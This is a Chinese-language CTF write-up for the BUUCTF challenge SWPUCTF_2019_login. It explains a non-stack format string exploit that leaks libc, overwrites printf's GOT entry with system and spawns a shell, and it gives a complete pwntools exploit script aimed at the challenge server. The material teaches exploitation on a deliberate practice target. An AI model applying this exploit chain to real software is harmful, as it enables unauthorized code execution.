BUU-SWPUCTF_2019_login
BUU-SWPUCTF_2019_login
说明:这里不再赘述基本的格式化字符串漏洞
- 考点:非栈上格式化字符串漏洞
- 具体原理:由于不在栈上,所以我们可控数据没法写到栈上,也就没有办法变成printf的某个参数
基本流程
检查保护,没pie,got可被修改
IDA查看程序,存在格式化字符串漏洞
思路
思路:由于不存在栈溢出,且没有给libc,那么我们的思路就有限了,修改printf的got
问题分析
首先这是一道32位的非栈上格式化字符串漏洞,那么与普通格式化字符串漏洞相比较有什么区别呢?
-
首先栈信息泄露是相同的,但是找偏移的话较为不方便,因为你写的格式化字符串不在栈上了
此时我们可以利用pwngdb的工具(注意pwndbg与pwngdb是两个工具,可以共用)
fmtarg + 泄露地址(最好执行到格式化字符串漏洞处)
如:此时我要泄露栈地址,可以泄露ebp存的上个栈的ebp
由图可以看出,他指出格式化字符串为
%5$p
,但是实际泄露用%6$p
,如果题目是正常栈对齐了的话,那么偏移应该是固定+1,实际操作可以多尝试 -
但是栈内容修改内容却有很大差异
-
差异原因:没有办法将要修改的地址写到栈上,所以不能将要篡改的地址作为格式化字符串漏洞中printf的参数,进而没法使用%n来篡改
-
新点get:
%6$n
中的n的效果:之前一直没有认真思考过n这个字符的作用,这里仔细说明下:
与%s对应,%s为打印地址内容,%n为往地址内写,有一级取内容效果(若为%s/%n,那么后边对应的是字符串地址,打印的是对应地址的内容)
-
所以我们要以较为特殊的方法来进行任意地址写
就以本题为例,首先我们没法往栈写任何内容,只能利用栈已有内容
条件
- 寻找一个指向栈的一个指针(一般在ebp指向处)
- 栈中找两个高2字节(一个数据单元高半部分)与got的高2字节相同,因为我们一次仅能修改2字节
利用
若已存在如下图情况,且ebp处为格式化字符串偏移为6处
修改0xffbc0cd8内容为0xffbc0d4(利用
%6$hn
,只需修改低4字节)同理修改0xffbc0cd4内容为[email protected](
%10$hn
)此时若我们利用
%9$n
就能直接修改到[email protected]的内容,这就是基本的非栈上格式化字符串漏洞思想,但是情况特殊,由于一次只能修改2个字节(多了不行,具体原因不知),但是system的高四位与printf的高四位不同,一次操作无法完成修改且由于printf的got改变后不再指向printf,所以任意修改之后不能再利用格式化字符串漏洞
那么必须同时修改高低两字节,所以我们要将[email protected]分成两部分
修改原理同步骤1,2,只不过修改成[email protected]+2
这样边可以达到同时修改[email protected]的高低两字节的效果(
%9$n
&%11$n
)
-
参考exp
from pwn import *
from LibcSearcher import *
io=remote("node4.buuoj.cn",26929)
#io=process("./SWPUCTF_2019_login")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
elf=ELF("SWPUCTF_2019_login")
printf_got=elf.got["printf"]
io.sendline(b'Der')
io.recvuntil(b"Please input your password: n")
# gdb.attach(io)
payload=b'bbbb'+b'%6$p'
io.sendline(payload)
io.recvuntil(b'0x')
stack=int(io.recv(8),16)
log.success("stack:"+hex(stack))
payload1=b'%'+str((stack-4)&0xffff).encode()+b'c'+b'%6$hn'
io.recvuntil(b'Try again!')
io.sendline(payload1)
payload2=b'%'+str(printf_got&0xffff).encode()+b'c'+b'%10$hn'
io.recvuntil(b'Try again!')
io.sendline(payload2)
payload2=b'a'*10+b'%9$s'
io.recvuntil(b'Try again!')
io.sendline(payload2)
io.recvuntil(b'a'*10)
printf_addr=u32(io.recv(4))
log.success("printf:"+hex(printf_addr))
libc=LibcSearcher("printf",printf_addr)
libbase=printf_addr-libc.dump("printf")
log.success("libbase:"+hex(libbase))
system_addr=libbase+libc.dump("system")
log.success("system:"+hex(system_addr))
payload1=b'%'+str((stack+4)&0xffff).encode()+b'c'+b'%6$hn'
io.sendline(payload1)
payload2=b'%'+str((printf_got+2)&0xffff).encode()+b'c'+b'%10$hn'
io.recvuntil(b'Try again!')
io.sendline(payload2)
sysl=system_addr&0xffff
sysh=(system_addr&0xffff0000)>>16
payload3=b'%'+str(sysl).encode()+b'c'+b'%9$hn'
payload3+=b'%'+str(sysh-sysl).encode()+b'c'+b'%11$hn'
io.recvuntil(b'Try again!')
io.send(payload3)
io.recvuntil(b'Try again!')
payload4=b'/bin/shx00'
io.sendline(payload4)
io.interactive()
总结
个人写的exp时遇到的问题:
-
在多次利用格式化字符串漏洞时,read将下次发送的payload也读取到了
情况1:每次调试运行到这里要么SIGKILL,要么根本没法进入调试
情况2:明明前面都和打通脚本一样了,到了相同位置任然SIGKILL
收获:在循环语句调试时,循环内打上断点,continue可以继续执行python脚本控制的流
原因:个人理解为没有截断read的原因。
- 情况1:没有正确截断read
- 情况2:后方仍然有没有截断read的地方存在
解决方案:如何截断read,利用recvuntil()来截断,普通的recv是不能够截断read的